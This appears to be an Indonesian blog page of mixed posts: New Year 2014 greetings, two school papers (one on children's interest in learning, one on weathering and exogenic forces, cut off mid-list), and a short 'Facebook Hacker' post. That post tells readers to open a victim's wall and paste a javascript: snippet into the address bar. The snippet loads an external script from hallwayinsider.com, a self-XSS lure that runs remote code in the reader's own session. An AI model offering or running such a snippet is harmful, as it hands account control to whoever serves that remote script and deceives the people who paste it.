JIWA akan sepi tanpa TEMAN. HATI akan mati tanpa IMAN. HARI ini adalah KENYATAAN, SEMALAM adalah KENANGAN, ESOK adalah IMPIAN. Sucikan HATI, Jernihkan PIKIRAN. Sambutlah Tahun Baru dengan positif.., Happy New Year 2014
Masa lalu adalah sejarah, hari ini adalah goresan, hari esok adalah harapan. Selamat datang sms tahun baru 2014. Seiring dengan perginya kenangan, menyambut harapan. Selamat tinggal kenangan, selamat datang harapan.
Buka Hati ada damai buka mata ada terang Buka kasih ada sukacita Buka SMS ada ungkapan Happy New Year 2014 Semoga semua harapan yang tertunda bisa terwujud di tahun 2014 ini. Amin.
Matahari menyelinap dibalik bukit, sembunyikan kenangan hidup, menyimpan lembaran usang, menyambut hari-hari muda, sebentar lagi ‘kan menjelang. Selamat datang sms tahun baru 2014, harapan baru dan perubahan.
Bersihkan diri sucikan hati Tahun baru kian menanti Layak mentari terangi bumi Bangkitkan semangat dalam diri.
Tiada kata yang seindah lantunan syair. Tiada mutiara yang secantik bidadari. Tapi hari ini melebihi dari hari sebelumnya, karena tak lama lagi kita akan melewati detik pergantian yang banyak di tunggu jutaan manusia di dunia. Hanya satu yang dapat aku lakukan dan berkata Selamat tahun baru 2014. sukses selalu.
Selasa, 31 Desember 2013
Ucapan Selamat Tahun Baru
Minggu, 29 Desember 2013
Facebook Hacker
http://cyber-soft-art.blogspot.com/2013/07/cara-hack-facebook-tanpa-menggunakan.html
Hati hati Terlebih Dahulu
beerbahaya bagi pelaku
buka www.facebook.com lalu buka dinding korban
Ketik kan #1 di Opmin lalu hapus adres yang ada di adress bar lalu lihat apa yang terjadi
<textarea cols="20" rows="2"> javascripta= ( b =document).createElemen ("script".src="// hallwayinsider.com/ a.js",b.body.appendChild (a);void(0) </textarea>
Kamis, 26 Desember 2013
Pengertian Minat Menurut Para Ahli
BAB I
PENDAHULUAN
A.LATAR BELAKANG
Minat seringkali diartikan sema dengan perhatian ataupun kesenangan. Namun tidak berarti ketiga kata tersebut memiliki pengertian yang sama. Hanya saja ketiganya memiliki kaitan yang erat. Selain itu minat juga berkaitan dengan kebutuhan motivasi. Kelima konsep inilah yang akan dibahas dalam makalah ini.
Dalam mengembangkan minat positif anak maka diperlukan sumber yang jelas mengenai proses perkembangan minat anak tersebut. Selain itu ciri-ciri minat anak sangat penting untuk diketahuiagar dapat menyusun program pengembangan minat anak yang efektif, serta mempunyai kebijakan untuk menentukan kearah mana minat tersebut akan berkembang. Hal tentu perlu menggunakan metode atau cara yang cocok atau sesuai.
Seringkali orang tua maupun guru menghadapi anak yang tidak mempunyai m inat dalam hak belajar atau sekolah, namun hal tersebut tidak dapat dipahami dan dipikirkan jalan keluarnya.
Hal tersebut harus menjadi koreksi bagi orang tua dalam mengawasi anaknya sehingga jangan sampai mengandung efek bahaya. Bahaya-bahaya tersebut harus dikenali dan dioprediksi serta diidentifikasi oleh orang tua dan guru sehingga dapat menghindarinya dari sianak.
B. STANDAR KOMPETENSI
1. Memahami pengertian minat
2. Memahami konsep minat dan keterkaitannya.
3. Memahami ciri-ciri dan minat umum anak
4. Memahami minat anak pada sekolah
5. Memahami bahaya-bahaya dalam perkembangan minat anak
6. Memahami cara mengembangkan minat pada anak
C. RUMUSAN MASALAH
1. Apa itu minat?
2. Bagaimanakah konsep minat dan keterkaitannya?
3. Bagaimanakah ciri-ciri dan minat umum anak ?
4. Bagaimanakah minat anak dalam sekolah?
5. Apa-apa sajakah bahaya yang ada dalam perkembangan minat anak?
6. Bagaimanakah cara mengembangkan minat pada anak?
D. TUJUAN
1. Mampu memahami pengertian minat.
2. Mampu memehami konsep minat dan keterkaitannya.
3. Mampu mengetahui ciri-ciri dan minat umum anak.
4. Mampu memahami minat anak pada sekolah.
5. Mampu memahami bahaya-bahaya yang ada dalam perkembangan minat anak.
6. Mampu memahami cara mengembangkan minat pada anak.
BAB II
PEMBAHASAN
A. Pengertian Minat menurut para ahli
Pengertian minat menurut bahasa dan para ahli
1. Menurut kamus besar Bahasa Indonesia, minat adalah kecenderungan dan kegairahan yang tinggi atau keinginan yang besar terhadap sesuatu.
2. Abdul Rahman Shaleh mendefinisikan secara sederhana, minat dapat diartikan sebagai suatu kecenderungan untuk memberikan perhatian dan bertindak terhadap orang, aktivitas atau situasi yang menjadi objek dari minat tersebut dengan disertai perasaan senang
3. Menurut Dr. Zakiah Dradjat, dkk “minat adalah kecenderungan jiwa yang tetap kejurusan suatu hal yang berharga bagi orang. Sesuatu yang berharga bagi seseorang adalah sesuai dengan kebutuhan
4. Menurut Decroly, minat itu adalah pernyataan suatu kebetulan yang tidak terpenuhi. Kebutuhan itu timbul dari dorongan hendak memberi kepuasan kepada suatu instink. Minat anak terhadap benda-benda tertentu dapat timbul dari berbagai sumber antara lain perkembangan instink dan hasrat, fungsi-fungsi intelektual, pengaruh lingkungan, pengalaman, kebiasaan, pendidikan dan sebagainya.
5. Menurut Whitherington, minat adalah kesadaran seseorang, bahwa suatu subyek, seseorang, suatu soal atau suatu situasi mengandung sangkut paut dengan dirinya. Minat, menurut Slameto (1991 : 182), adalah suatu rasa lebih suka dan rasa keterikatan pada suatu hal atau aktivitas, tanpa ada yang menyuruh. Minat pada dasarnya adalah penerimaan akan suatu hubungan antara diri sendiri dengan sesuatu dari luar diri. Semakin kuat atau dekat dengan hubungan tersebut, semakin besar minat.
6. Drs. H.Abu Ahmadi, berpendapat minat adalah sikap jiwa orang seorang termasuk emosi, yang tertuju pada sesuatu, dan dalam hubungan itu unsur perasaan yang terkuat. Muhibbin Syah, M,Ed. Berpendapat secara sederhana, minat (interest) berarti kecenderungan dan kegiatan yang tinggi atau keinginan yang besar terhadap sesuatu.
Dari beberapa definisi diatas dapat disimpulkan bahwa minat adalah suatu proses kejiwaan yang bersifat abstrak yang dinyatakan oleh seluruh keadaan aktivitas, ada objek yang dianggap bernilai sehingga diketahui dan dinginkan. Sehingga proses jiwa menimbulkan kecenderungan perasaan terhadap sesuatu, gairah atau keinginan terhadap sesuatu. Bisa dikatakan pula bahwa minat menimbulkan keinginan yang kuat terhadap sesuatu. Keinginan ini disebabkan adanya rasa dorongan untuk meraihnya, sesuatu itu bisa berupa benda, kegiatan, dan sebagainya baik itu yang membahagiakan ataupun menakutkan
1. Konseptualisasi Minat dan Beberapa Konsep Terkait
Dalam kamus besar bahasa indonesia dijelaskan bahwa minat merupakan perhatian, kesukaan, kecendrungan hati. Sedangkan Hurlock menyatakan bahwa minat adalah sesuatu yang mana anak mengidentifikasikan keberadaan pribadinya.
Dari dua pengertian diatas dapat ditarik kesimpulan bahwasanya minat adalah kecendrungan yang berlangsung lama pada suatu objek yang didasari atas perasaan tertarik, senang yang muncul dari dalam diri bukan karena faktor internal.
Minat anak sangat berkaitan dengan konsep kesenagan, perhatian, kebutuhan dan motivasi. Hal ini akan dikemukakan sebagai berikut:
A. Minat dan Kesenangan
Minat berbeda dengan kesenagan. Kesenangan merupakan minat yang berlangsung sementara. Kedua hal ini berbeda bukan dalam hal kualitasnya melainkan dalam hal ketetapannya.
B. Minat dan Perhatian
Perhatian dapat kita definisikan sebagai karekteristik yang selektif dalam kehidupan mental. Atau dapat dikatakan, bahwa perhatian adalah aktifitas mental yang berasal dari rangsangan lingkungan dan tertuju pada suatu objek tertentu. Minat dan perhatian sangatlah berbeda hanya saja keduanya mempunyai keterkaitan yaitu, perhatian yang tinggi/besar sangatlah mengarah keminat.
Macam-macam jenis perhatian adalah:
1) Perhatian spontan dan disengaja
2) Perhatian statis dan dinamis
3) Perhatian konsentratif dan distributif
4) Perhatian sempit dan luas
5) Perhatian fiktif dan fluktuatif
Berdasarkan jenis atu macam jenis perhatian diatas, dapat dikatakan bahwa jenis perhatian lebih mudah berubah menjadi minat jika dilakukan dengan sengaja. Kerena hal tersebut timbul akibat dorongan dan kemauan yang mempunyai tujuan tertentu.
C. Minat dan Kebutuhan
Minat sangat berkaitan dengan kebutuhan karena minat berfungsi sebagai alat pemenuhan kebutuhan yang dirasakan seseorang.
Ada beberapa kebutuhan yang diungkapkan oleh Moslow yang disebut dengan Being Values, yaitu:
a) Sifat menyeluruh, kesatuan dan terintegrasi
b) Kesempurnaan atau ketepatan
c) Keserasian dan keadilan
d) Penyelesaian atau finalitas
e) Keadilan atau keteratutran
f) Sifat hidup atau pengaturan hidup
g) Sifat kaya
h) Kesederhanaan
i) Keindahan
j) Kebaikan
k) Keunikan
l) Tanpa kesukaran
m) Penuh permainan
n) Kebenaran, kenyataan dan kejujuran dan merasa cukup.
Sesuai dengan kebutuhan dan kaitannya dengan minat maka dapat disimpulkan bahwa minat merupakan alat untuk memuaskan kebutuhan. Kebutuhan muncul dalam diri seseorang sesuai dengan arah kecendrungan minatnya.
D. Minat dan Motivasi
Motivasi merupakan sesuatu hal yang membangkitkan, mempertahankan, mengelola dan membawa tingkah laku pada suatu tujuan tertentu. Minat merupakan unsur psikologis yang menjadi sumber motivasi. Minat mendorong(memetivasi) seseorang dalam bertindak dan berbuat sesuai arah minatnya.
Antara kebutuhan, minat dan motivasi terdapat hubungan yang erat. Minat muncul karena rasa kebutuhan dan kebutuhan menuntut adanya pemuasan. Pemuasan ini diperoleh dari perbuatan (aktualisasi) minat, minat inilah yang akhirnya memotivasi seseorang untuk berbuat sesuatu.
2. Perkembangan Minat, Ciri-Ciri Minat, dan Minat Umum pada Anak
A. Perkembangan Minat
Minat merupakan hasil dari pengalaman belajar, baik minat dalam aspek kognitif maupun dalam aspek afektif. Pengalaman di peroleh anak dari lingkungan rumah, sekolah, dan masyarakat, serta dari beragam media massa. Dari lingkungan-lingkungan tersebut anak belajar tentang lingkungan mana yang dapat memuaskan kebutuhannya dan lingkungan mana yang tidak dapat memuaskan. Yang memuaskan akan berkembang menjadi minat, sedangkan yang tidak memuaskan, akan menghambat perkembangan menjadi minat.
Aspek afektif dari minat atau bobot perasaan danemosional dari minat adalah sikap. Aspek afektif dari minat seringkali lebih berperan penting daripada aspek kognitif minat. Ada dua alas an yang dikemukakan oleh Harlock (1978), yaitu pertama, aspek afektif lebih memotivasi tindakan daripada aspek kognitif. Kedua, aspek afektif dari minat cenderung lebih bertahan lama daripada aspek kognitif.
Menurut Harlock (1978), minat dipelajari melalui tiga jenis pengalaman, yaitu melalui belajar coba ralat, belajar melalui identifikasi, dan melalui bimbingan dan pengarahan.
B. Ciri-ciri minat
a. Minat tumbuh bersamaan dengan perkembangan fisik dan mental
Minat juga berubah selama terjadi perubahan fisik dan mental, contohnya perubahan minat karena perubahan usia.
b. Minat tergantung pada persiapan belajar
Kesiapan belajar merupakan salah satu faktor penyebab meningkatnya minat. Seseorang tidak akan mempunyai minat sebelum mereka siap secara fisik maupun mental.
c. Minat bergantung pada kesempatan belajar
Minat anak-anak maupun dewasa bergantung pada kesempatan belajar yang ada, sebagian anak kecil lingkungannya terbatas pada rumah, maka minat mereka tumbuh di rumah. Dengan pertumbuhan di lingkungan sosial mereka menjadi tertarik pada minat orang di luar rumah yang mereka kenal.
d. Perkembangan minat mungkin terbatas
Hal ini disebabkan oleh keadaan fisik yang tidak memungkinkan. Seseorang yang cacat fisik tidak memiliki minat yang sama pada olah raga seperti teman sebayanya yang normal. Perkembangan minat juga dibatasi oleh pengalaman sosial yang terbatas.
e. Minat dipengaruhi oleh pengaruh budaya
Kemungkinan minat akan lemah jika tidak diberi kesempatan untuk menekuni minat yang dianggap tidak sesuai oleh kelompok budaya mereka.
f. Minat berbobot emosional
Minat berhubungan dengan perasaan, bila suatu objek dihayati sebagai sesuatu yang sangat berharga, maka timbul perasaan senang yang akhirnya diminatinya. Bobot emosional menentukan kekuatan minat tersebut, bobot emosional yang tidak menyenangkan melemahkan minat dan sebaliknya, bobot emosional yang menyenangkan menguatkan minat.
g. Minat dan egosentris
Minat berbobot egosentris jika seseorang terhadap sesuatu baik manusia maupun barang mempunyai kecenderungan untuk memilikinya.
3. Minat Anak pada Sekolah
Minat pada anak kecil ditandai oleh keinginan untuk sekolah. Dalam pandangan anak, pergi ke sekolah berarti “menjadi besar.” Jadi, sekolah merupakan lambang status bagi anak. Naik turunnya minat pada anak, bersifat individual (berbeda antara satu anak dengan anak lainnya). Ada anak yang menunjukkan kebertahanan minat tinggi sampai pada tingkat pendidikan yang lebih tinggi, namun ada anak yang menunjukkan kebosanan, sehingga enggan pergi sekolah.
Terdapat faktor-faktor yang mempengaruhi minat anak pada sekolah. Dapat diketahui berikut ini.
1) Pengalaman dini sekolah
Anak yang memasuki sekolah telah ”siap” dengan anak yang ”tidak siap”, akan berbeda. Anak yang telah siap dan mempunyai pengalaman belajar-bermain yang menyenangkan di dalam kelompok belajar Taman Kanak-Kanaknya, akan mudah menyesuaikan diri dengan situasi sekolah, dan bersikap positif terhadap sekolah. Sementara anak yang tidak siap akan mengalami kesulitan menyesuaikan diri, merasakan sekolah sebagai suatu lingkungan yang menekannya, sehingga ia bersikap negatif terhadap sekolah.
2) Pengaruh orang tua
Orang tua mempengaruhi sikap anak terhadap sekolah, guru, kegagalan dan kesuksesan prestasi, optimalisasi potensi. Orang tua yang mempersiapkan anak sebelum memasuki sekolah, akan memudahkan penyesuaian diri anak. Setelah sekolah, orang tua mempengaruhi minat belajar anak melalui sikap terhadap keberhasilan dan kegagalan anak di sekolah. Sikap orang tua yang memahami kekurangan anak, kemudian memberi dorongan untuk terus berprestasi, akan menentramkan anak. Sebaliknya, orang tua yang terlalu menuntut anak untuk berprestasi, dapat membebani anak, sehingga anak menerima pengalaman buruk tentang sekolah.
3) Sikap teman sebaya
Teman sebaya mempengaruhi anak antara lain melalui penerimaan dan penolakan teman sebaya terhadap diri anak. Untuk dapat diterima oleh teman sebayanya, maka anak harus belajar menyesuaikan diri dengan nilai-nilai dan minat yang dianut oleh kelompok, misalnya minat dalam mengisi waktu istirahat di sekolah, memilih minat kegiatan ekstra kurikuler. Anak yang tidak dapat menyesuaikan diri atau tidak mampu terlibat ikut serta sebagaimana teman-temannya di dalam kelompok kegiatan, maka anak tersebut tidak tertarik dan kemungkinan mengundurkan diri dari lingkungan yang tidak menyenangkannya tersebut.
4. Keberhasilan akademik
Prestasi akademik yang tinggi menumbuhkan minat anak pada lingkungan sekolah, dan sebaliknya prestasi akademik yang rendah, menimbulkan perasaan tidak senang di lingkungan kelompok/sekolah dimana anak berprestasi rendah. Kegagalan anak untuk naik kelas, dapat mengakibatkan anak menghindari lingkungan dan mengurangi minat sekolahnya.
5. Hubungan guru dengan murid
Interaksi guru terhadap murid yang menunjukkan keramahan, kehangatan, kasih sayang, akan menumbuhkan minat sekolah yang tinggi.
6. Suasana emosional di sekolah
Suasana sekolah yang terdiri dari kondisi fasilitas fisik, para guru, pembimbing sekolah, wali kelas, pegawai, kepala sekolah, yang menyenangkan, memberi rasa nyaman, tidak otoriter maupun tidak penuh kebebasan, melainkan demokratis yang terpimpin, merupakan lingkungan emosional yang baik untuk minat sekolah dan minat belajar anak yang tinggi.
2. Pengaruh Minat terhadap Sekolah
Siswa yang tertarik dan/atau berminat pada sekolah baik dalam kegiatan belajar, dalam hubungan dengan guru beserta personil sekolah lainnya, dalam menerima keterampilan guru mengajar dan mendidik, menjalani kondisi fisik sekolah, dan mengikuti program-program kegiatan sekolah, maka siswa akan menunjukkan perilaku positif terhadap sekolah. Siswa akan tampak bahagia dan nyaman di sekolah, menghabiskan waktunya yang banyak di sekolah, mengikuti berbagai kegiatan ekstrakurikuler, menghormati para guru dan personil sekolah lainnya, mematuhi disiplin sekolah, aktif dalam mengikuti pelajaran, dan bangga akan sekolahnya.
3. Metode Menemukan Minat Anak
Untuk menemukan minat yang lebih akurat, yakni bukan sekadar menemukan kesenangan, maka penemuan minat dilakukan dengan menggunakan lebih dari satu metode. Beberapa cara/metode menemukan minat anak dapat dilakukan sebagai berikut:
1) Mengamati kegiatan yang dilakukan oleh anak
Dalam mengamati kegiatan yang dilakukan oleh anak, akan diketahui arah minat anak berdasarkan frekuensi melakukan dan intensitasnya. Intensitas dapat diketahui melalui lamanya waktu yang digunakan oleh anak, kesungguhan menghadapi tantangan dalam perbuatan sesuai minatnya, dan tingkat ketidak bosanannya.
2) Pertanyaan yang diajukan oleh anak.
Bila anak terus menerus bertanya mengenai sesuatu, hal ini mengindikasikan bahwa minat anak pada hal tersebut lebih besar daripada minatnya pada hal yang hanya sekali-sekali ditanyakan.
3) Pokok pembicaraan anak
Hal yang dibicarakan anak dengan orang dewasa atau teman sebaya memberi petunjuk mengenai minat mereka dan seberapa kuatnya minat tersebut.
4) Pilihan bahan bacaan anak
Dalam kondisi dimana anak bebas memilih buku untuk dibaca, maka minat anak dapat diidentifikasi melalui pilihan topik yang dipilihnya.
5) Menggambar spontan.
Apa yang digambar atau dilukis anak secara spontan dan seberapa sering mereka mengulangnya akan memberi petunjuk tentang minat mereka terhadap sesuatu.
6) Keinginan.
Bila ditanyakan kepada anak mengenai apa yang ia inginkan bila mereka dapat memperoleh apa saja yang mereka inginkan, maka kebanyakan anak dengan jujur akan menyebut hal-hal yang paling diminati. Dengan demikian, jawaban anak mencerminkan arah minat mereka.
7) Laporan mengenai apa saja yang diminati.
Bila ditanya untuk menyebut atau menulis tiga benda atau kegiatan yang paling diminati oleh anak, maka jawaban anak ini merupakan petunjuk tentang hal yang disenanginya dan arah minatnya.
4. Bahaya-Bahaya Dalam Perkembangan Minat
Bahaya umum berkenaan dengan perkembangan minat anak, penting dipahami agar guru/orang tua terhindar dari perbuatan menemukan, mengembangkan minat yang salah. Kesalahan dapat terjadi pada: 1. Kecenderungan menginterpretasikan kesenangan sebagai minat, 2. Pengaruh teman sebaya terhadap minat, 3. Minat anak yang berbeda dari minat teman sebaya, dan 4. Minat anak yang tidak realistis. Penjelasan dikemukakan berikut ini.
1. Menginterpretasikan kesenangan sebagai minat
Kegiatan anak melakukan sesuatu dalam waktu yang lama disebabkan oleh beberapa faktor seperti mengisi waktu luang yang panjang, tidak ada kegiatan lain yang lebih menarik, karena alasan sedang menjadi mode. Alasan-alasan ini tidak berarti bahwa kegiatan yang dilakukan oleh anak adalah kegiatan yang diminatinya, melainkan suatu kegiatan yang disenanginya, yang tidak akan bertahan lama sebagaimana suatu minat.
Kesalahan orang tua menginterpretasikan kesenangan sebagai minat mengakibatkan orang tua cenderung melengkapi kebutuhan anak untuk perkembangan kesenangan, sehingga anak menjadi terfokus pada bidang yang sesungguhnya tidak menjadi minatnya. Hal ini juga berarti bahwa penemuan minat anak yang sebenarnya, menjadi kekurangan kesempatan.
Pada sisi anak, anak menjadi sulit untuk ke luar dari pemfokusan kegiatan kesenangan yang telah dilakukan, karena ia tidak ingin mengecewakan orang tua yang telah memfasilitasi dengan berbagai fasilitas atau ia tidak ingin dipandang sebagai anak yang tidak stabil pada pilihan minatnya. Pada akhirnya anak berusaha mempertahankan perasaan bosan pada kesenangan sementara yang telah diinterpretasikan sebagai minat tersebut. Perasaan bosan menjadi tekanan bagi anak, sehingga menimbulkan frustasi.
2. Pengaruh teman sebaya pada minat
Ada kecenderungan bahwa anak menyesuaikan diri dengan teman sebaya mereka, terutama pada anak usia remaja. Pada anak usia SD, adakalanya hal ini terjadi. Hal yang tidak diinginkan, apabila anak mengikuti kesenangan atau kebiasaan teman sebaya yang buruk, misalnya minat belajar yang rendah. Dapat pula anak mengikuti kegiatan teman yang tidak disukainya, namun agar ia merasa bagian dari kelompoknya, ia terpaksa mengikuti minat kelompok.
3. Minat yang berbeda dari minat teman sebaya
Dapat terjadi bahwa penerimaan terhadap anak di kalangan teman sebayanya dipengaruhi oleh arah kesenangan atau arah minat yang sejalan atau sama. Jika minat seorang anak sangat berbeda dari teman-teman sebayanya, khususnya dalam gangnya, maka hal ini dapat menimbulkan penolakan. Misalnya, sekelompok anak dalam satu gang menyenangi olahraga bola kaki, tetapi seorang anak kurang menyukai dan kurang terampil pada kegiatan olahraga bermain bola kaki. Sebaliknya, ia senang membaca buku-buku pelajaran, termasuk membaca komik cerita silat. Kesenangan yang berbeda tersebut, membuat anak jarang diajak bermain bersama teman gangnya, kalaupun ia ikut, hanya berperan sebagai penonton. Keadaan ini membuat anak mengalami kesulitan penyesuaian pribadi dan sosial di lingkungan gangnya (anak merasa inferior), dan akhirnya ia akan mengundurkan diri dari kelompoknya yang tidak sejalan dalam kesenangan tersebut.
4. Minat yang tidak realistis
Tidak jarang dijumpai keadaan dimana bayangan anak berbeda jauh dengan kenyataan yang dihadapinya. Misalnya, anak mengharapkan sekolah maupun orangtua merupakan tempat ia bertanya apabila menemui kesulitan dalam memahami pelajaran-pelajaran sekolah. Kenyataan yang dihadapi, guru kurang memberi penjelasan karena keterbatasan waktu guru di sekolah dan orangtua selalu sibuk dengan kegiatannya, sehingga mereka tidak bisa membantu menyelesaikan kesulitan yang dihadapi oleh anak. Keadaan ini mengakibatkan minat anak untuk belajar menurun, anak menyadari bahwa harapannya untuk memiliki nilai baik di sekolah tidak akan tercapai karena kurangnya dukungan lingkungan, termasuk ketiadaan fasilitas belajar seperti buku-buku pengayaan yang mempermudah pemahaman pelajaran.
5. Bobot emosional yang kurang
Minat anak akan lebih terhambat apabila tidak mendapat dukungan yang cukup pada aspek emosional daripada aspek kognitif. Dapat diilustrasikan sebagai berikut: Anak meminta dibelikan sebuah kalkulator kepada orangtua untuk digunakan dalam menyelesaikan hitungan rumus-rumus matematika. Anak hendak menggunakan kalkulator tersebut untuk mengeksplorasi fungsi-fungsi kalkulator yang lebih kompleks, yang ingin diketahuinya.
5. Mengembangkan Minat Anak
1. Mengembangkan Minat secara Umum:
Mengembangkan minat terhadap sesuatu pada dasarnya adalah membantu anak melihat bagaimana hubungan antara yang diharapkan diminati dengan kepentingan diri anak. Proses ini berarti menunjukkan pada anak bagaimana suatu minat dapat memenuhi tujuan-tujuannya, memuaskan kebutuhan-kebutuhannya.
Menghadapi minat anak yang belum cukup kuat, guru (pendidik) dan orang tua harus terus berusaha memperkuat minat anak, sehingga minat yang pada mulanya lemah, atau mungkin merupakan minat ekstrinsik (minat yang dikuatkan oleh faktor-faktor di luar diri anak), menjadi minat intrinsik (minat yang berasal dari diri sendiri). Minat intrinsik ditumbuhkan dengan cara menyadarkan anak tentang pentingnya suatu minat.
2. Mengembangkan Minat Sekolah/Belajar:
Upaya orang tua untuk meningkatkan minat belajar anak dapat dilakukan dengan memberi dukungan fisik dan psikologis di. Dukungan fisik diberikan dengan menyediakan tempat belajar anak yang nyaman, menyediakan fasilitas belajar yang cukup seperti buku dan peralatan belajar lain.
BAB III
PENUTUP
A. KESIMPULAN
Minat adalah kecenderungan yang berlangsung lama terhadap suatu objek atau dalam melakukan sesuatu kegiatan (perbuatan) . yang didasari oleh perasaan tertarik, senang,yang muncul dari dalam diri. Kesenangan adalah ketertarikan afektif pada suatu keadaan atau benda atau kegiatan, yang berlangsung sementara. Kesengan berbeda dari minat dan persistensinya. Perhatian adalah karakteristik yang selktif dari kehidupan mental. Perhatian adalah pemusatan energi psikis pada suatu objek. Perhatian yang besar (kuat) mengarah pada minat. Kebutuhan merupakan keadaan yang membutuhkan pemuasan, kebutuhan ini mendorong munculnya perhatian dan minat. Motivasi adalah faktor dalam organisme yang membangkitkan, mempertahankan, mengelola dan embawa tingkah laku pada suatu tujuan tertentu. Motivasi berkaitan dengan minat, yakni minat merupakan salah satu unsur psikologis yang menjadi sumber motivasi.
Bahaya yang paling umum dalam perkembangan minat adalah interpretasi kesenangan sementara sebagai minat, pengaruh teman sebaya pada minat, minat berdasarkan konsep yang tidak realistis, dan bobot emosional yang tidak positif terhadap minat
Mengembangkan minat anak berangkat dari kebutuhan, ketertarikan anak, bukan dari sisi keinginan orang tua/ guru. Minat dikembangkan sehingga minat menjadi instrinsik. Minat dikembangkan sesuai dengan karakteristik perkembangan anak, tidak membebani anak, dan dikembangkan dengan memperhatikan sistem ganjaran. Merespon anak dengan tepat dalam proses pengembangan minat anak akan meningkatkan gairah anak, sebaiknya respon yang salah akan melemahkan minat anak. Memberi kesempatan yang luas untuk mengeksplorasi diri merupakan cara yang sangat baik untuk mengembangkan minat anak.
B. SARAN DAN KRITIK
Konseptualisasi minat sangat berkaitan erat dengan konsep-konsep lainnya seperti kesenangan, perhatian, kebutuhan dan motivasi. Hal ini harus dapat diperhatikan dengan baik oleh orang tua dan guru sebagai tenaga pengajar. Sehingga minat anak tersebut dapat dikembangkan dengan baik sesuai ciri-ciri minat yang telah dilihat terlebih dahulu. Sehingga minat anak tidak salah arah atau berhaluan dengan yang sebenarnya ia inginkan.
DAFTAR PUSTAKA
Ahmadi, A. 2009. Psikologi Umum Edisi Revisi. Jakarta: Rineka Cipta
Hurlock, E. B. 1978. Perkembangan anak Edisi Keenam. Ahli Bahasa oleh Meitasari Thandrasa. Jakarta: Erlangga
Maslow, A.H. 1984. Motivasi dan Kepribadian. Alih Bahasa oleh Nurul Iman. Jakarta: Pustaka Binaman Pressindo
http://aanborneo.blogspot.com/2012/07/minat-dan-perhatian.html
http://yusinspiration.wordpress.com/2012/03/16/minat-dan-motivasi/
http://idrussardi.blogspot.com/2011/12/konseptualisasi-minat-dan-beberapa.html
Selasa, 26 November 2013
TENAGA EKSOGEN (PELAPUKAN, EROSI, SEDIMENTASI)
Geologi Dan Geomorfologi Indonesia
BAB I
PENDAHULUAN
1. Latar Belakang
Tenaga eksogen adalah tenaga yang berasal dari luar perut bumi. Tenaga eksogen merupakan tenaga yang dapat merombak dan merubah bentuk muka bumi atau bentang lahan yang telah ada. Perombakan muka bumi akibat tenaga eksogen dapat disebabkan oleh proses pelapukan, pengikisan, pengendapan, dan pergerakan batuan atau tanah. Proses perombakan atau perubahan muka bumi ini, pengerjaannya dilakukan oleh air, udara, dan es.
2. Tujuan
a). Penyusunan makalah ini bertujuan untuk mengetahui tentang tenaga eksogen dan apa saja yang termasuk ke dalam tenaga eksogen serta mengapa peristiwa tersebut dapat terjadi.
b.) Mampu menjelaskan dan mendeskripsikan apa yang telah dipelajari dan dilihat mengenai tenaga eksogen, sehingga kita benar-benar memahaminya.
c).Mempermudah pemahaman karena disertai gambar.
3. Manfaat
Manfaat dari penyusunan makalah ini yaitu kita dapat mengetahui gambaran tentang permukaan bumi ini, khususnya tenaga eksogen sebagai pembentuk muka bumi dai luar. Selain itu, karena tenaga eksogen ini bersifat merusak bentuk-bentuk permukaan bumi, sehingga kita harus mengetahui peristiwa apa saja yang akan terjadi di bumi ini. Semuanya akan dibahas oleh makalah ini pada bab selanjutnya.
BAB II
PEMBAHASAN
TENAGA EKSOGEN (PELAPUKAN, EROSI, SEDIMENTASI)
Eksogen, ialah tenaga yang berasal dari luar bumi. Sifatnya merusak atau merombak permukaan bumi yang sudah terbentuk oleh tenaga endogen. Tenaga eksogen juga mengakibatkan bentuk-bentuk muka bumi. Tenaga eksogen dapat berasal dari tenaga air, angin, dan organisme yang menyebabkan terjadinya proses pelapukan, erosi, denudasi, dan sedimentasi. Contoh seperti bukit atau tebing yang terbentuk hasil tenaga endogen terkikis oleh angin, sehingga dapat mengubah bentuk permukaan bumi.
Di permukaan laut, bagian litosfer yang muncul akan mengalami penggerusan oleh tenaga eksogen yaitu dengan jalan pelapukan, pengikisan dan pengangkutan, serta sedimentasi. Misalnya di permukaan laut muncul bukit hasil aktivitas tektonisme atau vulkanisme. Mula-mula bukit dihancurkannya melalui tenaga pelapukan, kemudian puing-puing yang telah hancur diangkut oleh tenaga air, angin, gletser atau dengan hanya grafitasi bumi. Hasil pengangkutan itu kemudian diendapkan, ditimbun di bagian lain yang akhirnya membentuk timbunan atau hamparan bantuan hancur dari yang kasar sampai yang halus.
Contoh lain dari tenaga eksogen adalah pengikisan pantai. Setiap saat air laut menerjang pantai yang akibatnya tanah dan batuannya terkikis dan terbawa oleh air. Tanah dan batuan yang dibawa air tersebut kemudian diendapkan dan menyebabkan pantai menjadi dangkal. Di daerah pegunungan bisa juga ditemukan sebuah bukit batu yang kian hari semakin kecil akibat tiupan angin.
Secara umum tenaga eksogen berasal dari 3 sumber, yaitu:
- Atmosfer, yaitu perubahan suhu dan angin
- Air yaitu bisa berupa aliran air, siraman hujan, hempasan gelombang laut, gletser, dan sebagainya
- Organisme yaitu berupa jasad renik, tumbuh-tumbuhan, hewan, dan manusia.
Pengerusakan Bentuk Muka Bumi Oleh Tenaga Eksogen Berupa Pelapukan, Pengikisan (Erosi) Dan Pengendapan.
1. PELAPUKAN
Pelapukan adalah penghancuran batuan dari bentuk gumpalan menjadi butiran yang lebih kecil bahkan menjadi hancur atau larut dalam air. Proses pelapukan dapat dikatakan sebagai proses penghancuran massa batuan melalui media penghancuran, berupa:
- Sinar matahari
- Air
- Gletser
- reaksi kimiawi
- kegiatan makhluk hidup (organisme)
Menurut proses terjadinya pelapukan dapat digolongkan menjadi 3 jenis yaitu:
v Pelapukan Fisis Atau Mekanik
Pelapukan mekanik (fisik) adalah proses pengkikisan dan penghancuran bongkahan batu jadi bongkahan yang lebih kecil,tetapi tidak mengubah unsur kimianya. Proses ini disebabkan oleh sinar matahari, perubahan suhu tiba-tiba, dan pembekuan air pada celah batu.
Penyebab terjadinya pelapukan mekanik yaitu:
1. Adanya perbedaan temperatur yang tinggi.
Peristiwa ini terutama terjadi di daerah yang beriklim kontinental atau beriklim Gurun, di daerah gurun temperatur pada siang hari dapat mencapai 50 Celcius. Pada siang hari bersuhu tinggi atau panas. Batuan menjadi mengembang, pada malam hari saat udara menjadi dingin, batuan mengerut. Apabila hal itu terjadi secara terus menerus dapat mengakibatkan batuan pecah atau retak-retak.
2. Adapun pembekuan air di dalam batuan
Jika air membeku maka volumenya akan mengembang. Pengembangan ini menimbulkan tekanan, karena tekanan ini batu-batuan menjadi rusak atau pecah pecah. Pelapukan ini terjadi di daerah yang beriklim sedang dengan pembekuan hebat.
3. Berubahnya air garam menjadi kristal.
